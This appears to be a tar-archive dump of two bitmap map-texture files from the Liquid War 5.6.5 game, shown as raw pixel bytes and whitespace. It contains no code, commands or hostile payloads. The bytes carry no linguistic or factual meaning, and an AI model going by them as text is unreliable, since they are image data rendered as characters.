                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       g                                                                                                                             C                                                               "                                                                                                                             "                                                                                                                                                                                                                                                                                                                                                           "                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9                                                                                                                                                                                                                                                                                     U                                                                                      C                                                                                                                                                                                                                                                                                                                "                                                                                                                                                                                                                                                                                                                                                                                 g                                                                                                                                                                                                                                                                                             "                                                                                                                                                                          g                                    "                                    C                                                                                                                                                                                                                                                                                g                                                                    C                                                                                                                                                                                                                                                                                                                                                 g                                                                                                                                                                                    *                                                                                                 C$                                                                                                                                                                                                                                                   $                                                                                                                                                                                                                                                                                                                     U                         "                     6                                                                h*                                                               C$                                                g                                                                                                                                                                                                                                                 U                                              Uliquidwar-5.6.5/data/maptex/blemmya.orig.bmp0000664000372000037200000020537013407756104020444 0ustar travistravisBM ( [vCNc@i_wtAP@ǸrFVWi_uvN_`{Vik?MO8DF;GI6AC2<>4>@                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  L^            M6                                 R?E                      {/                                              nw                                  ~                            G                 .               i           Y                              6           liquidwar-5.6.5/data/maptex/psyforceultramultiroom.orig.bmp0000664000372000037200000405354213407756104023676 0ustar travistravisBMbW6([O,W  JJJYYY```gggzzzhhhQQQGGGQQQ```cccccc000222555111###***===DDDLLLQQQDDDFFFTTTWWW666 '''&&&%%%"""%%%!!!$$$!!! %%%%%%$$$'''$$$$$$!!!######"""   +++!!!---*** !!!''':::)))!!!$$$$$$000222555111###***===DDDLLLQQQDDDFFFTTTWWW666 JJJIIIIIIGGGBBBAAAAAADDDKKKXXXWWWVVVSSSVVVRRRFFFDDDOOOUUU!!! %%%%%%$$$'''$$$$$$!!!######QQQOOOKKKCCC???;;;:::<<<@@@CCCAAA===666222222444999 <<>>JJJ[[[XXX !!!''':::)))!!!$$$$$$000222555111###***===DDDLLLQQQDDDFFFTTTWWW666 '''&&&%%%"""%%%!!!BBB@@@KKKPPPNNNHHHBBBAAA@@@AAA?????????>>><<<;;;BBBDDDFFFIIILLLLLLAAAAAAKKKRRRRRRQQQTTTLLLLLLQQQQQQNNNPPPPPPOOOMMMIIIAAA===999999;;;>>>AAA@@@;;;444000000333777666444555111222;;;LLLYYYOOO222333===JJJZZZWWWCCC555777GGGNNNUUUhhhVVV@@@555???OOORRRRRR^^^```ccc___CCCGGGQQQYYYkkkssszzzrrrttteeeNNNFFFEEE>>>@@@IIIGGGFFFFFFDDD@@@>>>>>>AAAIIIVVVUUUTTTRRRTTTPPPEEECCCNNNTTTQQQKKKFFFDDDDDDEEECCCCCCCCCBBB@@@???FFFHHHJJJMMMQQQPPPEEEEEEOOOVVVVVVUUUXXXPPPPPPUUUVVVRRRTTTUUUTTTRRRNNNFFFBBB>>>>>>@@@DDDGGGEEEAAA:::666777999===<<<;;;;;;777999AAARRR+++!!!888:::DDDPPPaaa^^^JJJ<<<>>>NNNUUU\\\ooo]]]FFF===FFFVVVYYYYYYfffhhhkkkgggJJJOOOYYYaaassszzzzzz|||mmmVVVNNNMMMFFFHHHQQQOOONNNOOOMMMHHHGGG'''&&&%%%"""%%%!!!$$$!!! %%%%%%$$$'''$$$$$$!!!######"""   +++!!!---*** !!!SSS^^^hhhrrrvvv^^^GGGJJJ^^^[[[\\\yyy===:::777'''(((+++***(((---666EEEMMMIIIEEERRRZZZHHH)))&&&'''***((('''%%%%%%!!!###   $$$)))'''!!!$$$%%%$$$$$$***((('''((('''$$$   ++++++ 333(((222666 :::===:::777'''(((+++***(((---666EEEMMMIIIEEERRRZZZHHH)))XXXOOOMMMNNNHHHBBB@@@EEEFFFGGGPPPXXX\\\YYYXXXVVVVVVJJJLLL!!!###   $$$)))'''!!!$$$%%%$$$$$$***((('''((('''$$$NNNKKKIIIHHHFFF@@@;;;777777888<<>>111777???JJJ333(((222666 :::===:::777'''(((+++***(((---666EEEMMMIIIEEERRRZZZHHH)))&&&'''***((('''%%%QQQFFFHHHNNNOOOLLLCCCAAA===666666444111222666777<<>>999555555666;;;AAAEEEDDD;;;333///000000///...///111888CCCYYYXXX===000666???JJJaaaHHH666000@@@LLLVVV```cccLLL555888LLLJJJLLLhhhkkkhhheeeUUUBBBVVVYYYXXXVVV[[[dddsss{{{xxxtttvvvWWWBBB@@@LLLUUULLLJJJKKKEEE???>>>BBBCCCEEENNNVVVZZZWWWVVVUUUTTTIIIKKKQQQRRRPPPFFFDDDAAA999:::888555666:::;;;@@@CCCNNNUUUZZZXXXPPPRRRUUUVVVUUUUUU[[[YYYXXXZZZYYYUUUPPPMMMLLLKKKIIICCC>>>::::::;;;@@@GGGKKKJJJAAA999555666777555444555777>>>III______DDD777===EEEPPPgggOOO===777FFFRRR]]]gggjjjSSS<<>>>>>______CCC!!!###,,, """ (((***&&&''')))***### !!!&&&'''%%%)))***%%%"""###$$$$$$$$$ !!!!!!   111&&& ,,,---888***%%%&&&@@@@@@@@@666666222---######))):::JJJRRR>>>>>>______CCC!!!UUU^^^OOOEEENNNQQQLLLBBBGGGSSSQQQHHHYYY[[[WWWXXXZZZZZZTTT !!!&&&'''%%%)))***%%%"""###$$$$$$$$$ !!!PPPMMMJJJFFFBBB@@@@@@;;;666888999>>>DDDJJJHHH>>>555111222111000222777KKK___TTT777111;;;EEE,,,---888***%%%&&&@@@@@@@@@666666222---######))):::JJJRRR>>>>>>______CCC!!!###,,, """ (((***&&&'''VVVVVVPPPIIIHHHFFFFFFFFFGGGGGGEEE@@@AAA===333666;;;>>>CCCNNNRRRSSSRRRUUUVVVQQQLLLOOOOOOQQQQQQPPPMMMNNNNNNKKKHHHDDD@@@>>>>>>999444666777<<>>RRRKKKTTTmmmnnnmmmdddLLLJJJddd```[[[QQQQQQWWWhhhxxxllllllrrrPPPGGGRRR[[[LLLBBBKKKOOOIII@@@EEEQQQOOOFFFWWWYYYUUUVVVYYYYYYSSSLLLKKKIIIIIIIIIJJJKKKIIIDDDEEE@@@777:::???BBBGGGRRRVVVWWWVVVYYYZZZUUUPPPSSSTTTUUUUUUUUUQQQSSSSSSPPPMMMIIIEEECCCCCC>>>:::;;;<<>>DDDFFFIIIUUUUUUWWWWWWKKKLLLOOO###%%%$$$!!!###$$$&&&###(((&&&"""!!!KKKLLLHHHCCC>>>:::GGGMMMFFF===;;;???@@@DDDRRRKKK@@@888222333777333111555;;;aaa```EEE222555CCC$$$333,,,  ###333::: ((('''===BBB??????***000<<<;;;@@@AAA444(((&&&<<>><<>>MMMWWWgggnnnTTT@@@BBBSSS]]][[[rrrwwwtttttt___NNNeeeqqqqqqvvvvvvjjj]]]\\\rrrqqquuu```[[[aaacccUUUJJJHHHGGGEEEKKKMMM$$$$$$&&&&&&###%%%$$$!!!###$$$&&&###(((&&&"""!!!  $$$  444333$$$333,,,  ###333^^^pppzzzmmmSSSJJJ[[[iiiooo}}}BBB111###AAA???CCCBBB888===222,,,999DDDMMMTTTGGGOOO^^^[[[EEE---$$$$$$    ###!!!###***...,,,)))(((!!!  %%%$$$### !!!000 000000:::--- ***000>>>FFFBBBBBB111###AAA???CCCBBB888===222,,,999DDDMMMTTTGGGOOO^^^[[[www___UUUVVVHHH>>>999777<<<===>>>AAAEEEBBBCCCAAABBB>>>@@@ ###!!!###***...,,,)))(((!!!HHHHHHJJJJJJAAA;;;999777@@@IIIDDD;;;999<<>>FFFBBBBBB111###AAA???CCCBBB888===222,,,999DDDMMMTTTGGGOOO^^^[[[EEE---$$$$$$ 222777888999<<<@@@>>>???<<<>>>999;;;???999;;;BBBEEEEEEFFFDDDEEEHHHGGGGGGGGGBBBAAAGGGOOOMMMOOOVVVZZZXXXUUUTTTKKK>>>KKKMMMIIIFFFEEEGGGHHH>>>999777555>>>GGGBBB999777;;;AAAHHHRRRPPPPPPLLL:::888AAA@@@222444:::NNN\\\MMM666333@@@HHHLLL]]]???222444AAALLL]]]gggZZZ@@@888IIIXXX]]]llltttoooooo^^^JJJPPPnnnlllppppppeeejjj```[[[gggrrr{{{uuu}}}sss[[[RRRSSSEEE;;;666444999;;;<<>>BBB<<<>>>FFFHHHHHHJJJHHHHHHKKKJJJJJJKKKFFFEEEKKKSSSQQQSSSZZZ___]]]ZZZXXXPPPBBBOOOQQQNNNKKKJJJLLLMMMCCC>>><<<:::CCCLLLGGG>>><<<@@@GGGMMMWWWVVVUUUQQQ@@@>>>GGGFFF999:::@@@TTTcccSSS===999FFFNNNRRRdddFFF999;;;HHHRRReeennnbbbGGG???PPP___eeesss{{{vvvvvvfffQQQXXXvvvtttxxxxxxmmmrrrhhhbbbooozzz}}}|||dddZZZ[[[MMMDDD???===BBBCCCEEE  ###!!!###***...,,,)))(((!!!  %%%$$$### !!!000 000000:::iiizzzzzzcccGGGPPPbbb___ggg~~~sss666AAADDDFFFBBB<<<666 &&&888@@@FFFOOOTTTQQQTTT\\\YYY@@@(((       """******!!!&&&...+++......***'''"""  $$$***%%%(((%%%  )))###***:::;;;$$$###!!!(((???CCCDDD555666AAADDDFFFBBB<<<666 &&&888@@@FFFOOOTTTQQQTTTrrrZZZQQQJJJDDDJJJFFF======@@@>>>888999777555999  """******!!!&&&...+++......***'''"""CCCFFFHHHGGGFFFCCCDDDGGGDDD??????<<<999:::;;;???FFFMMMNNNRRR***%%%(((HHHAAAAAARRRDDD777111777)))###***:::;;;$$$###!!!(((???CCCDDD555666AAADDDFFFBBB<<<666 &&&888@@@FFFOOOTTTQQQTTT\\\YYY@@@(((LLLEEE???EEEAAA888888;;;999333555222000555444555444777AAANNNWWWVVVMMMCCCDDDHHHJJJHHHHHHIIIFFFKKKKKKKKKRRRZZZWWWZZZZZZVVVSSSNNNCCCBBBAAACCCFFFEEEDDDAAAAAAEEEBBB======:::777888999===EEEKKKLLLQQQVVVRRRBBBCCCTTTGGG@@@@@@QQQCCC666000777KKKKKKUUUOOO111222;;;JJJWWWggghhhQQQ444>>>PPPNNNUUUlllpppqqqbbbKKKLLLdddoooqqqtttpppjjjdddMMMSSSfffnnnttt}}}nnnVVVNNNGGGAAAGGGCCC::::::===<<<666777555333888777888777:::DDDQQQZZZZZZQQQFFFGGGKKKMMMKKKLLLMMMJJJOOOOOOOOOVVV^^^\\\______ZZZXXXRRRHHHFFFEEEHHHKKKJJJIIIFFFFFFJJJGGGBBBCCC@@@<<<===???BBBJJJQQQRRRVVV\\\WWWGGGIIIZZZMMMFFFFFFWWWIII<<<777===QQQRRR\\\VVV999999BBBQQQ]]]nnnoooXXX<<>><<<:::777999;;;)))+++BBBDDDFFFCCC***&&&999KKK<<<(((  &&&******''' &&&+++222111,,,***&&&###!!! """%%%&&&(((+++))) ''' ###222 """<<<@@@---...111;;;<<<@@@BBB ...>>><<<:::777999;;;)))+++BBBDDDFFFCCC***XXXkkk}}}mmmYYYPPPPPPKKKJJJDDD@@@CCCGGGIIIFFFDDDEEE::: &&&******''' &&&+++222111,,,***&&&###!!!======<<>><<<:::777999;;;)))+++BBBDDDFFFCCC***&&&eeewwwhhhTTTKKKKKKFFFEEE???;;;???CCCEEEBBB???AAA666222777555444===HHHRRRVVVVVVSSSIIIAAAFFFJJJLLLKKKFFFGGGKKKRRRWWW^^^]]]XXXVVVRRROOOMMMHHH:::::::::???BBBAAAAAA???BBBGGGEEE???;;;999===AAADDDGGGNNNQQQRRRTTTWWWUUU@@@999IIITTTKKKHHH???222...000777HHHPPP___CCC111888HHHNNNhhhlllZZZCCC333HHH[[[^^^hhhiiimmmoooMMMEEE[[[kkkiiihhhdddggghhhVVVCCCYYYooorrrtttqqqWWWLLLTTTgggyyyjjjVVVMMMMMMHHHGGGAAA===AAAEEEGGGDDDBBBCCC888555999888777@@@KKKUUUYYYYYYVVVLLLEEEIIINNNPPPOOOJJJJJJNNNVVV[[[bbbaaa]]]ZZZVVVSSSQQQMMM??????>>>CCCFFFFFFFFFDDDGGGLLLJJJDDD@@@>>>BBBGGGIIILLLTTTVVVXXXZZZ^^^[[[FFF???OOOZZZQQQNNNEEE888555666>>>NNNVVVeeeIII888???OOOUUUooosssaaaIII;;;OOOccceeeoooppptttvvvTTTLLLcccrrrqqqooolllnnnppp^^^KKKaaawwwzzz|||yyy```TTT\\\ooorrr^^^VVVUUUQQQOOOJJJFFFJJJNNNPPP  &&&******''' &&&+++222111,,,***&&&###!!! """%%%&&&(((+++))) ''' ###222 """<<<@@@---uuuZZZHHHRRRkkkuuuwww{{{zzzyyyaaaQQQggg|||999111...---666,,,222EEEFFFEEE///  """......$$$%%%!!! ### $$$$$$###&&&%%%)))''' """***+++((("""***111)))  (((555""" '''444@@@555,,,666888<<<<<<;;;###)))>>>999111...---666,,,222EEEFFFEEE/// 333333444333888IIIOOOJJJGGGIIIMMMMMMHHHBBB@@@AAA@@@AAA """......$$$%%%!!! ### $$$$$$###&&&%%%)))'''===:::>>>CCC======???>>>MMMMMMDDD???<<>>999111...---666,,,222EEEFFFEEE/// ...------...---333DDDJJJEEEBBBDDDIIIIIIDDD===;;;<<<;;;===EEE;;;222111777CCCNNNYYYZZZOOOQQQLLLHHHKKKOOOJJJEEE:::???KKKJJJOOOOOOOOOQQQPPPTTTRRRIII:::777;;;@@@;;;;;;===<<>>???>>>@@@HHH>>>555444:::GGGQQQ]]]]]]SSSTTTPPPKKKOOOSSSNNNIII>>>CCCOOONNNSSSSSSSSSVVVUUUYYYWWWNNN>>>;;;@@@EEE??????AAAAAAPPPPPPGGGBBB???BBBIIIMMMTTT\\\]]]YYYSSS[[[bbb[[[III@@@;;;999999HHHLLL>>>555666BBBPPPZZZhhhUUU:::<<>>NNNTTTOOOMMMNNNSSSTTTOOOHHHFFF """......$$$%%%!!! ### $$$$$$###&&&%%%)))''' """***+++((("""***111)))  (((555""" '''444@@@555{{{fffOOOLLLcccpppwww{{{qqquuuiiiOOO```rrrvvvuuu???;;;>>>666%%%@@@GGGDDD777  (((000///&&&### $$$%%% '''...***%%%!!! %%%---111''' %%%"""  ---555;;; (((000CCC<<<''' %%%111888<<<222666***"""444888777???;;;>>>666%%%@@@GGGDDD777444333222222222333777>>>EEEGGGKKKKKKKKKJJJEEECCCGGGIII (((000///&&&### $$$%%% '''...***%%%!!! KKKIII???JJJKKKBBB@@@EEEEEEGGGHHHBBB>>>===%%%---111''' %%%""" 555AAA@@@ ---555;;; (((000CCC<<<''' %%%111888<<<222666***"""444888777???;;;>>>666%%%@@@GGGDDD777GGG111...---------,,,---111888???BBBFFFFFFFFFEEE@@@>>>BBBDDDAAABBB===444222;;;JJJTTT\\\[[[QQQNNNLLLOOOPPPFFF>>>888:::AAAEEEFFFSSSYYYVVVPPPMMMKKKIIIHHHFFF<<>>OOOaaaeeedddlllhhhkkkcccGGGRRRmmmtttqqqdddHHH333000////////////000333;;;BBBEEEIIIHHHHHHGGGBBB@@@EEEGGGDDDEEE@@@777555>>>MMMWWW___^^^UUURRROOOSSSTTTIIIBBB<<<>>>EEEIIIJJJWWW^^^ZZZTTTQQQPPPNNNLLLKKKAAALLLMMMEEEBBBGGGGGGIIIJJJEEEAAA@@@DDDLLLOOOVVV___cccXXXLLLRRRWWWSSSJJJHHHAAA>>>999:::FFFEEE999<<>>CCC555 333444666555333,,,111888555<<>>CCC555 333444666555333,,,111888555<<>>;;;999<<>>^^^eeebbbiiinnnddd]]]MMMJJJiiiuuuuuulllOOO555000//////////////////111:::EEEHHHJJJMMMUUUSSSIIIDDDFFFGGGEEEAAA>>><<>>EEEKKKKKKMMMPPPNNNMMMIIIDDDAAAFFFLLLMMMVVV___eee[[[LLLHHHIIIIIIDDDHHHAAA======999777>>>BBBNNN^^^iiijjjTTTCCC;;;MMMdddqqqvvvhhhOOO@@@JJJggggggiiiiiifff```JJJFFFfffllliiipppuuukkkeeeUUURRRqqq}}}}}}tttWWW>>>888777777777777777888:::CCCMMMQQQSSSUUU^^^[[[QQQMMMOOO !!!***...,,,)))###%%%((((((%%%'''+++,,,)))+++,,,+++ """###  %%%...444***  +++666777""" 000>>>CCC555 gggRRRSSSggguuuyyyxxxrrrvvv^^^NNN^^^tttuuu|||rrrooo000999AAABBB  """###%%% %%%+++111///&&&***''''''***,,,///000---(((###### !!!!!!  """***///---..."""'''(((###  *** """AAA@@@((()))666::::::444888 !!!666777>>>EEE555222000999AAABBB 333333333333333333222444???FFFGGGIIIPPPRRRSSSOOOIII%%% %%%+++111///&&&***''''''***,,,///000---(((###### !!!!!!GGGDDD@@@>>>;;;555999CCCGGGFFFEEEEEECCCAAA"""***///---..."""'''(((### 222 *** """AAA@@@((()))666::::::444888 !!!666777>>>EEE555222000dddmmmmmmIII555...---------------------///:::AAABBBDDDKKKNNNOOOKKKDDD???@@@DDDEEE???EEEPPPKKKKKKPPPVVV\\\ZZZQQQUUURRRRRRUUUWWWZZZ[[[XXXSSSNNNNNNKKKLLLLLLCCCAAA>>><<<999222666@@@DDDCCCBBBCCCAAA???AAAAAA@@@CCCFFFFFFMMMVVV[[[YYYYYYMMMCCCJJJRRRTTTNNNKKK777555111000999===KKKVVVHHH444///...777NNNmmmlllTTT???@@@UUUbbbgggfff```dddLLL<<>>TTTtttsss[[[FFFGGG\\\iiinnnmmmgggkkkSSSDDDUUUjjjkkkrrryyyiiigggRRRIIIeeemmmvvvwwwSSS???888777777777777777777888:::EEEKKKMMMOOOVVVYYYZZZVVVOOOKKK%%% %%%+++111///&&&***''''''***,,,///000---(((###### !!!!!!  """***///---..."""'''(((###  *** """AAA@@@(((ZZZPPPcccvvv|||}}}zzzeeeQQQ]]]iiippp{{{~~~sss]]]NNN(((,,,'''  %%%'''!!! !!!$$$)))(((### (((###&&&***'''$$$"""$$$***###"""+++444111,,,(((   (((111!!!$$$%%%+++%%%'''///333)))""" 777===%%%777===BBB???;;;'''+++222===DDDAAA555 (((,,,''' 333333333333333222222222444:::NNNVVVWWWQQQPPPQQQTTT)))(((### (((###&&&***'''$$$"""$$$***###"""+++444111,,,(((AAA;;;>>>FFFDDD999999FFFAAA@@@AAA@@@<<<777 (((111!!!$$$%%%+++%%%'''///333)))EEE""" 777===%%%777===BBB???;;;'''+++222===DDDAAA555 GGGSSSCCCWWWSSS777---------------------------...444IIIPPPRRRLLLKKKLLLOOOTTTSSSNNNGGGKKKSSSNNNQQQUUURRROOOMMMOOOUUUNNNFFFEEEFFFJJJMMMVVV___\\\WWWSSSJJJCCC>>>888;;;CCCAAA666666CCC>>>===>>>>>>999555555???SSS\\\LLLDDDHHHOOOJJJJJJQQQWWWPPPJJJDDDCCCSSSZZZ^^^TTTFFFBBBDDD;;;///------,,,...---333FFFNNNLLLccciiiGGG===QQQccciiinnnkkkgggSSS???LLLXXX___jjjqqqmmmbbbLLL===HHHTTTDDDYYYTTT888///////////////////////////000777KKKSSSUUUNNNNNNNNNRRRWWWVVVQQQJJJNNNVVVQQQTTTXXXUUUSSSPPPSSSYYYQQQJJJIIIJJJNNNQQQZZZccc```\\\WWWNNNGGGBBB<<>>::::::DDDXXXbbbRRRIIIMMMTTTOOOPPPVVV]]]VVVOOOJJJIIIYYYaaadddZZZLLLHHHJJJAAA666444444333555444:::MMMTTTSSSjjjpppNNNDDDXXXjjjpppuuurrroooZZZFFFSSS___gggqqqxxxuuuiiiTTTEEEPPP\\\LLLaaa\\\@@@777777777777777777777777777999@@@TTT[[[]]]WWWWWWWWW[[[```___### (((###&&&***'''$$$"""$$$***###"""+++444111,,,(((   (((111!!!$$$%%%+++%%%'''///333)))""" 777===%%%UUU\\\ssszzz~~~rrrQQQTTThhhiiippp{{{{{{rrrbbbOOOZZZddd $$$)))%%%"""+++333+++'''***'''    &&&///"""%%%111333///***(((///...""",,,000666666333444;;;BBBDDD@@@444***+++222>>>>>>444VVVCCCOOO((( 333333333333222222222222222222444HHHMMMIIIGGGMMMLLL$$$)))%%%"""+++333+++'''***'''CCC:::666777;;;:::666;;;IIIGGGFFFEEECCC@@@ &&&///"""%%%111333///***(((///...""",,,000666666333444;;;BBBDDD@@@444***+++222>>>>>>444%%%===IIISSS;;;222666111------,,,,,,,,,,,,,,,,,,,,,,,,,,,...CCCHHHDDDBBBHHHGGGFFFIIIGGGBBB>>>>>>AAACCCJJJOOOTTTPPPGGGCCCGGGIIIFFFAAACCCMMMVVV^^^VVVRRRUUURRRHHH@@@777333444888777333888FFFDDDDDDCCC@@@===888444<<>>JJJTTT<<<333777222......//////////////////...//////000EEEKKKGGGDDDKKKJJJHHHKKKIIIDDD@@@AAADDDFFFMMMRRRWWWSSSJJJFFFKKKMMMJJJEEEFFFQQQZZZaaaZZZVVVZZZVVVLLLDDD;;;777888<<<<<<888<<>><<<333!!!***555999HHHBBB888###***333--->>>BBB<<>><<<333!!!***555999HHHBBB888###***333--->>>BBB<<<]]]@@@:::FFFDDD///---,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;AAA>>>>>><<<>>>AAAAAA<<<<<<:::===GGGIIIKKKPPPSSSPPPJJJAAA???AAA>>>;;;>>>GGGLLLUUU```]]]XXXQQQDDD@@@999555555555444222777@@@AAAHHHCCCAAAHHHHHH???AAANNNSSSDDD<<<:::<<>>VVV___YYYjjjnnnhhh^^^@@@;;;GGGEEE111......................../////////...///...///===CCC@@@@@@???@@@CCCCCC???>>><<<@@@IIILLLNNNSSSVVVSSSMMMDDDBBBDDDBBB???BBBKKKOOOYYYcccaaa\\\UUUHHHDDD===999999999888777;;;DDDEEEMMMHHHFFFMMMMMMDDDFFFSSSXXXIIIAAA???AAAFFFKKKJJJNNNbbbhhhaaaSSSFFFLLLOOOKKK>>>:::666333333333444444444;;;XXXpppnnnfffSSSMMMJJJ\\\hhhlll{{{uuukkkVVVEEE]]]fffaaarrruuuooofffHHHCCCOOOMMM999777666666666666777777777777777777777777777777FFFLLLIIIIIIGGGIIILLLLLLHHH %%%(((%%%!!!***555222---&&&  ###(((111777///"""  &&&>>><<<333!!!***555ZZZmmmqqqsssqqqUUUUUUqqqssslllyyyzzzvvvkkkGGGGGGHHHAAA>>>>>>   !!!'''"""$$$(((%%%""" &&&111000***$$$   ***444000""" 000GGG=== ...222555GGGBBB222333555///<<<===jjj___<<<;;;===666333333333333222333222222222222222222222111111222;;;GGGDDD???  !!!'''"""$$$(((%%%""" &&&111^^^YYYRRRFFFDDD@@@:::;;;666333555BBBJJJEEEAAA  ***444000""" 000GGG=== ...222555GGGBBB222333555///<<<===cccXXX555555666///,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,666BBB???:::555888>>>>>>777777666:::KKKQQQMMMOOOSSSOOOMMMIIICCCDDD<<<666:::CCCEEEQQQ[[[ZZZUUUNNNBBBAAA<<<777888333000222???GGGBBB>>>;;;>>>DDDIIIHHHHHHIIIBBB888444444888??????888999UUU___[[[MMM999===EEEGGG222///,,,,,,,,,,,,,,,------888[[[rrrhhhGGG666222GGGYYY^^^```sssnnn^^^CCCCCC___aaa[[[hhhiiidddYYY666666777000---.................................///......///888DDDAAA<<<777;;;AAAAAA::::::999===NNNTTTPPPRRRVVVSSSPPPLLLGGGHHH@@@:::>>>GGGIIIUUU___^^^YYYRRRFFFEEEAAA;;;<<<888444777CCCLLLGGGCCC@@@CCCIIINNNNNNMMMNNNGGG===999999===DDDDDD===???ZZZeeeaaaSSS???CCCKKKMMM888666333333333333333333444>>>bbbyyyoooMMM===999NNNaaaeeegggzzzuuueeeJJJJJJfffhhhcccpppppplllaaa>>>>>>???999666666666666666666666777777777777777777777777777AAAMMMJJJEEEAAADDDJJJIIICCC !!!'''"""$$$(((%%%""" &&&111000***$$$   ***444000""" 000GGG=== ...222ooo{{{}}}```PPPfffssspppqqqWWWRRR\\\XXX@@@???>>>>>>>>>>>>>>>   $$$$$$!!!"""&&&...000&&&%%%&&&...,,, &&&"""    111888555"""""",,, --- 000<<>>DDDBBB:::444MMM]]]eeeaaaNNNJJJNNNXXX999///------ 000<<>>>>><<<===<<<>>>777:::GGGNNNNNNLLLDDD@@@JJJLLLJJJQQQXXXZZZQQQOOOPPPYYYWWWGGG999666999<<<<<>>@@@AAAHHHUUUQQQOOOKKKKKKHHH;;;555555777::::::======???BBBGGGFFF>>>888QQQaaaiiieeeSSSOOOSSS]]]>>>555333333333333333333333777LLL```NNN999777<<>>999999>>>CCCFFF $$$$$$!!!"""&&&...000&&&%%%&&&...,,, &&&"""    111888555"""""",,, --- 000<<>>>>>>>>>>>>>>>>>>>>===    444666%%%$$$$$$ $$$)))   +++777<<<<<<666222000  ===FFFJJJLLLGGG:::777999222555666555333222333333333333222222222222222222222222222222222222222111:::;;;    444666%%%RRRRRRKKKIIIFFFLLLMMMDDD999666AAAFFFJJJRRRVVV   :::BBBFFFFFFBBBAAADDDDDD???IIIWWWccchhhhhhbbb^^^\\\777111... ===FFFJJJLLLGGG:::777999222GGG111...///...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+++555666555222222222555;;;BBBJJJHHHBBB>>>>>>444000???HHHEEE>>>;;;;;;KKK___```OOONNNNNNHHHFFFCCCIIIJJJAAA666333>>>CCCGGGOOOTTTKKKEEE===666777222///111333444888@@@DDDDDD@@@???BBBBBB===HHHUUUaaagggfff```]]][[[666000------,,,,,,,,,,,,,,,,,,///:::CCC:::666HHHhhhrrruuuwwwsssfffFFFIIIcccddd^^^HHH222...//////------------------------------------........................777888777555444444888===DDDLLLJJJEEEAAAAAA777333BBBKKKHHHAAA>>>>>>NNNbbbdddSSSRRRRRRKKKJJJGGGMMMNNNEEE:::777BBBGGGLLLSSSXXXOOOIIIBBB:::<<<777444666888999===EEEJJJIIIFFFEEEGGGHHHCCCNNN\\\gggmmmlllfffcccaaa<<<666444333222333333333333333666AAAJJJAAA===OOOoooyyy|||~~~zzzmmmMMMPPPjjjllleeeOOO:::777888777555555555666666666666666666666666666666666777777777777777666@@@AAA@@@>>>===>>>AAAFFF  444666%%%$$$$$$ $$$)))   +++777<<<<<<666222000  ===FFFJJJuuummm{{{jjj___tttyyydddJJJ@@@>>>>>>>>>>>>>>>>>>>>>>>>>>>========= """"""  !!! !!!!!! ''''''$$$   '''&&&!!!(((,,,000555666555666))) 111HHHFFF777///===,,,"""666BBB;;;''' 444333333222222333333333222222222222222222222222222222222222111111<<<""""""  !!!KKKJJJKKKNNNIIIJJJNNNNNNGGG<<<888@@@@@@HHH''''''$$$  